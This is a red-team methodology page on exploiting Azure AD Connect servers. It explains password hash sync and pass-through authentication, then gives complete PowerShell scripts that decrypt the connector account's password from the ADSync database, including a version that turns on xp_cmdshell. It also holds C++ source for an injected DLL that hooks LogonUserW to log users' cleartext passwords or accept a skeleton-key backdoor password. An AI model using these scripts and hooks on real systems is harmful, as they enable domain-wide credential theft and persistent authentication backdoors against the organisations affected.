Exploitation - Azure AD Connect

Overview

Azure Active Directory (AD) Connect is a Microsoft utility used to connect on-premises Active Directory forests with Azure AD. Using Azure AD Connect on premise users can access cloud-based services in an hybrid identity model, across (Windows Server) Active Directory and Azure AD.

During Azure AD Connect installation, an user account is created in the on-premise Active Directory forest: the Azure Active Directory Domain Services (AD DS) Connector account. The account is by default named MSOL_<HEX_ID> (for example: MSOL_a8a17814304d). Additionally, an Azure AD user is also automatically created (named Sync_<AAD_CONNECT_SERVER_HOSTNAME>_<HEX_ID>@<AZURE_TENANT>, with a matching <HEX_ID>).

Synchronization modes - Password Hash Sync vs Pass-through Authentication

Azure AD Connect currently implements two synchronization modes / sign-in methods:

  • Password Hash Sync (PHS), in which on-premises Active Directory users' NTLM password hashes (NTLM hashes and Kerberos keys) are extracted and synchronized from the on-premises Active Directory forest to Azure AD. PHS is the mode configured by default whenever using the "Express Settings" option during the Azure AD Connect installation.

  • Pass-through Authentication (PTA), in which on-premises Active Directory users' passwords are not synchronized with Azure AD. The authentication requests (of non cloud-only accounts) made Azure side are instead directly sent to the Azure AD Connect server to be validated by an on-premise Domain Controller.

In a Password Hash Sync setup, the Azure AD DS Connector account is granted replication privileges (Replicate Directory Changes and Replicate Directory Changes All) in the Active Directory forest in order to be able to extract the users' password hashes.

Active Directory Federation Services alternative

While Azure AD Connect is sufficient for connecting an on-premise Active Directory environment with Azure AD, Active Directory Federation Services may be used as well. ADFS is an utility developed by Microsoft to provide single sign-on access to external resources and that implements a claims-based access-control authorization model. ADFS establishes a trust between two federation servers: one client-side and another resources-side. On the client-side, ADFS connects to the on-premise Active Directory Domain Services to authenticates users using the Active Directory database and issues a token that can be transmitted to the resources-side federation server. ADFS presents the advantage of enabling federation with various compliant federation services (such as Software as a Service (SaaS) applications, ADFS servers from external Active Directory forests, etc.) but is however much more difficult to deploy and administrate than Azure AD Connect.

Azure AD Connect identification

The following PowerShell commands, that rely on cmdlets from the Microsoft Remote Server Administration Tools (RSAT) utilities, can be used to identity the Azure AD DS Connector account and whether the account is granted replication privileges or not.

Get-ADUser -Filter "name -like 'MSOL_*'"
Get-ADUser -Properties Description -Filter "Description -like '*Azure*'"

# Checks if the Azure AD DS Connector account is granted replication privileges.
# FOREST_ROOT_OBJECT = "DC=LAB,DC=AD" for example
Get-ACL -Path "AD:<FOREST_ROOT_OBJECT>" | Select -ExpandProperty Access | ? IdentityReference -match "
MSOL_*" | ? ObjectType -match '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2|1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'

Initial compromise of the Azure AD Connect server

The compromise of the Azure AD Connect server is a prerequisite of the attacks introduced below. The Azure AD Connect server may benefit from a lower security level than the Domain Controllers usually identified as critical infrastructure resources.

The initial compromise of the Azure AD Connect server can be achieved in a number of ways (out of the scope of the present note):

Password Hash Synchronization exploit

After achieving command execution in an elevated context on the Azure AD Connect server, the Azure AD DS Connector account cleartext password can be retrieved in a number of ways:

  • by dumping and extracting the authentication secrets stored in the LSASS process. This technique is usually more closely defended against by Endpoint detection and response (EDR) products than the other one presented below. Refer to the [Windows] Post exploitation - Credentials dumping note for more information on how to dump credentials from LSASS as stealthy as possible.

  • by retrieving the Azure AD DS Connector account encrypted password from the MSSQL ADSync database (encrypted_configuration column of the mms_management_agent table) and decrypting it using functions implemented in the Microsoft Azure AD Sync\Bin\mcrypt.dll DLL.

    On out of date Azure AD Connect servers installed before early 2020, the decryption key can be simply retrieved with sufficient privileges using functions from the mcrypt.dll DLL.

    Since an update changing the way the decryption key is handled, it is now necessary to execute code in the context of the NT SERVICE\ADSync Virtual Account to access the decryption key stored as a DPAPI key. This can be achieved in two notable ways:

    • By injecting in a process running as the NT SERVICE\ADSync account and using the previous technique. This can be done using various tools such as metasploit's meterpreter or in a Cobalt Strike beacon.

    • By executing operating system commands through the MSSQL service (using xp_cmdshell for instance), which run under the security context of the NT SERVICE\ADSync account.

Once in possession of the Azure AD DS Connector account password, refer to the [ActiveDirectory] ntds.dit dumping note for a procedure and tooling to conduct passwords replication (DCSync).

Against outdated Azure AD Connect installations

Multiple tools may be used to conduct the extraction and decryption process against outdated Azure AD Connect installations:

  • The AdSyncDecrypt VB.NET tool.

    The AdDecrypt.exe binary must be executed:

    • in a folder with the mcrypt.dll DLL present.

    • with the AD Sync binary folder as the working directory or with the folder added to the PATH environment variable.

    # Default location of the AD Sync binary folder
    cd "C:\Program Files\Microsoft Azure AD Sync\Bin"
    
    # Against the default SQLExpress “LocalDb” instance.
    <PATH>\AdDecrypt.exe
    
    # Against a full MSSQL instance
    <PATH>\AdDecrypt.exe -FullSQL
  • adconnectdump, which is composed of the ADSyncDecrypt, ADSyncGather, and ADSyncQuery C# utilities as well as the adconnectdump.py Python script.

    ADSyncDecrypt and ADSyncGather work similarly to AdDecrypt.exe and require code execution on the targeted Azure AD Connect server. ADSyncQuery present the advantage of conducting the extraction through remote RPC calls. It however requires a local MSSQL instance to be installed on the attacking computer.

    # The ADSyncQuery.exe sould be present in the directory.
    python.exe adconnectdump.py [[<DOMAIN>/]<USERNAME>@<HOSTNAME | IP>
  • The azuread_decrypt_msol.ps1 PowerShell script.

    # Author: Adam Chester (XPN).
    # Source: https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545#file-azuread_decrypt_msol-ps1
    
    # !! For connection to full MSSQL database instance (excluding database setup using the "Express" installation option), replace the connection string with the one below:
    # $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=LocalHost;Database=ADSync;Trusted_Connection=True;"
    
    Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"
    
    $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
    $client.Open()
    $cmd = $client.CreateCommand()
    $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
    $reader = $cmd.ExecuteReader()
    $reader.Read() | Out-Null
    $key_id = $reader.GetInt32(0)
    $instance_id = $reader.GetGuid(1)
    $entropy = $reader.GetGuid(2)
    $reader.Close()
    
    $cmd = $client.CreateCommand()
    $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
    $reader = $cmd.ExecuteReader()
    $reader.Read() | Out-Null
    $config = $reader.GetString(0)
    $crypted = $reader.GetString(1)
    $reader.Close()
    
    add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
    $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
    $km.LoadKeySet($entropy, $instance_id, $key_id)
    $key = $null
    $km.GetActiveCredentialKey([ref]$key)
    $key2 = $null
    $km.GetKey(1, [ref]$key2)
    $decrypted = $null
    $key2.DecryptBase64ToString($crypted, [ref]$decrypted)
    
    $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
    $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
    $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
    
    Write-Host ("Domain: " + $domain.Domain)
    Write-Host ("Username: " + $username.Username)
    Write-Host ("Password: " + $password.Password)

Against up-to-date Azure AD Connect installations

The azuread_decrypt_msol_v2.ps1 PowerShell script implements the operating system commands execution through the MSSQL service described above to achieve code execution under the security context of the NT SERVICE\ADSync account.

# Author: Adam Chester (XPN).
# Source: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c

# !! For connection to full MSSQL database instance (and not database setup using the "Express" installation option), replace the connection string with the one below:
# $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=LocalHost;Database=ADSync;Trusted_Connection=True;"

Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)"
Write-Host "`t[ Updated to support new cryptokey storage method ]`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
try {
    $client.Open()
} catch {
    Write-Host "[!] Could not connect to localdb..."
    return
}
Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
    Write-Host "[!] Error querying mms_server_configuration"
    return
}
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
    Write-Host "[!] Error querying mms_management_agent"
    return
}
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
    $decrypted += $reader.GetString(0)
}
if ($decrypted -eq [string]::Empty) {
    Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
    return
}
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "[*] Credentials incoming...`n"
Write-Host "Domain: $($domain.Domain)"
Write-Host "Username: $($username.Username)"
Write-Host "Password: $($password.Password)"

Pass Through Authentication exploit

In Pass-through Authentication (PTA) mode, the authentication requests are sent to the Azure AD Connect server through a connection established by the Azure AD Connect Authentication Agent (AzureADConnectAuthenticationAgentService.exe). Note that cloud-only accounts will not affected by the exploit as their authentication requests are processed only Azure AD-side.

The agent rely on the LogonUserW Win32 API function to validate the received credentials against a on-premise Active Directory Domain Controller. In order to make use of the Win32 API LogonUser functions, the Authentication Agent must be in possession of the authentication request cleartext username and password.

The compromise of the Azure AD Connect server, or more precisely put obtaining code execution in a security context with the SeDebugPrivilege privilege enabled, thus allow:

  • for the retrieval of the authentication requests' cleartext username and password

  • the implementation of a backdoor, such as an hardcoded password that would validate access for any accounts (similarly to what could be achieved against on-premise Domain Controllers with the skeleton key attack).

The attacks against the PTA, and the code introduced below, are based on original research done by Adam Chester and Eric Saraga.

Win32 API LogonUserW hooking

The following code should be compiled as a DLL and injected into the AzureADConnectAuthenticationAgentService process on the Azure AD Connect server.

Disclaimer: the DACL on the payload DLL must be configured to grant Read access to the NETWORK SERVICE identity. If output files are being used to log the authentication requests, the DACL on the output folder / files should also allow write access.

The payload DLL will:

  1. Enter the DllMain entry point upon loading in the AzureADConnectAuthenticationAgentService process.

  2. Retrieve the address of the LogonUserW function, which is exported by the advapi32.dll library.

  3. Update the virtual address space protection of the LogonUserW function region to PAGE_EXECUTE_READWRITE (in order to be able to modify the function code).

  4. Inject in the legitimate LogonUserW function a jump to the hooking LogonUserWHook function.

  5. Restore the original virtual address space protection.

Whenever an Azure AD authentication will be processed by the AzureADConnectAuthenticationAgentService process, the LogonUserW function and, in turn, the LogonUserWHook function will thus be called. In order to properly authenticate users, the LogonUserWHook function returns the result of a call to the LogonUserExW function (which implement the same validation but does not rely on the LogonUserW function).

// Original author: Adam Chester / @_xpn_
// Source: https://gist.github.com/xpn/79a7f966b9dffd0ccf3505787f8060d7#file-azuread_hook_dll-cpp

#include <windows.h>
#include <stdio.h>
#include <fstream>

// Simple ASM trampoline
// mov r11, 0x4142434445464748
// jmp r11
unsigned char trampoline[] = { 0x49, 0xbb, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x41, 0xff, 0xe3 };

BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken);

void Start(void) {
    DWORD oldProtect;

    std::ofstream outfile;
    outfile.open("<FILE_PATH>", std::ios_base::app);
    outfile << "Successfully injected payload DLL!" << "\n";
    outfile.close();

    void* LogonUserWAddr = GetProcAddress(LoadLibraryA("advapi32.dll"), "LogonUserW");
    if (LogonUserWAddr == NULL) {
        // Should never happen, but just incase
        return;
    }

    // Update page protection so we can inject our trampoline
    VirtualProtect(LogonUserWAddr, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtect);

    // Add our JMP addr for our hook
    *(void**)(trampoline + 2) = &LogonUserWHook;

    // Copy over our trampoline
    memcpy(LogonUserWAddr, trampoline, sizeof(trampoline));

    // Restore previous page protection so Dom doesn't shout
    VirtualProtect(LogonUserWAddr, 0x1000, oldProtect, &oldProtect);
}

// The hook we trampoline into from the beginning of LogonUserW
// Will invoke LogonUserExW when complete, or return a status ourselves
BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken) {
    PSID logonSID;
    void* profileBuffer = (void*)0;
    DWORD profileLength;
    QUOTA_LIMITS quota;
    bool ret;

    // Refer to "Authentication requests interception" / "Authentication Agent backdoor" sections below

    // <INJECTED_CODE_BACKDOOR>

    // Forward request to LogonUserExW and return result
    ret = LogonUserExW(username, domain, password, logonType, logonProvider, hToken, &logonSID, &profileBuffer, &profileLength, &quota);

    // <INJECTED_CODE_INTERCEPTION>

    return ret;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Start();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

The injectAllTheThings project can be used to inject the payload DLL in the process using a number of techniques. One technique consist of copying the payload DLL path into the remote process, using VirtualAllocEx and a subsequent WriteProcessMemory call, and then remotely starting a thread that will load the payload DLL. A remote thread can be created using CreateRemoteThread and instructed to execute (Kernel32's) LoadLibraryW.

# Supported injection techniques: 1 CreateRemoteThread / 2 NtCreateThreadEx / 3 QueueUserAPC / 4 SetWindowsHookEx / 5 RtlCreateUserThread / 6 SetThreadContext / 7 Reflective DLL injection

injectAllTheThings.exe -t <1 | INJECTION_TECHNIQUE_NUMBER> "AzureADConnectAuthenticationAgentService.exe" <PAYLOAD_DLL_FULL_PATH>

Authentication requests interception

The following code can be inserted in the LogonUserWHook function (<INJECTED_CODE_INTERCEPTION>) to log the authentication requests.

std::ofstream outfile;
outfile.open("<FILE_PATH>", std::ios_base::app);
outfile << "Successfully hooked LogonUserW function!" << "\n\n";

if (ret == true) {
    outfile << "Successful authentication received:" << "\n";
}

else {
    outfile << "Unsuccessful authentication received:" << "\n";
}

// Write username.
int len_username = WideCharToMultiByte(CP_UTF8, 0, username, -1, NULL, 0, 0, 0);
LPSTR result_username = NULL;
if (len_username > 0) {
    result_username = new char[len_username + 1];
    if (result_username) {
        int resLen_username = WideCharToMultiByte(CP_UTF8, 0, username, -1, &result_username[0], len_username, 0, 0);
        if (resLen_username == len_username) {
            outfile.write(result_username, len_username);
            outfile << "\n";
        }
        delete[] result_username;
    }
}

// Write password
int len_password = WideCharToMultiByte(CP_UTF8, 0, password, -1, NULL, 0, 0, 0);
LPSTR result_password = NULL;
if (len_password > 0) {
    result_password = new char[len_password + 1];
    if (result_password) {
        int resLen_password = WideCharToMultiByte(CP_UTF8, 0, password, -1, &result_password[0], len_password, 0, 0);
        if (resLen_password == len_password) {
            outfile.write(result_password, len_password);
            outfile << "\n";
        }
        delete[] result_password;
    }
}

outfile.close();

Authentication Agent backdoor (Azure Skeleton Key)

The following code can be inserted in the LogonUserWHook function (<INJECTED_CODE_BACKDOOR>) to define a password that grant access to any accounts (backdoor known as Skeleton Key).

if (wcscmp(password, L"<BACKDOOR_SKELETON_KEY>") == 0) {
    return true;
}

References

https://blog.xpnsec.com/protecting-your-malware/ https://blog.xpnsec.com/azuread-connect-for-redteam/ https://www.synacktiv.com/publications/azure-ad-introduction-for-red-teamers.html https://github.com/fox-it/adconnectdump https://vbscrub.com/2020/01/14/azure-ad-connect-database-exploit-priv-esc/ https://www.varonis.com/blog/azure-skeleton-key/ https://docs.microsoft.com/fr-fr/azure/active-directory/manage-apps/migrate-adfs-apps-to-azure https://docs.microsoft.com/fr-fr/azure/active-directory/hybrid/how-to-connect-password-hash-synchronization https://docs.microsoft.com/fr-fr/azure/active-directory/hybrid/how-to-connect-pta

Last updated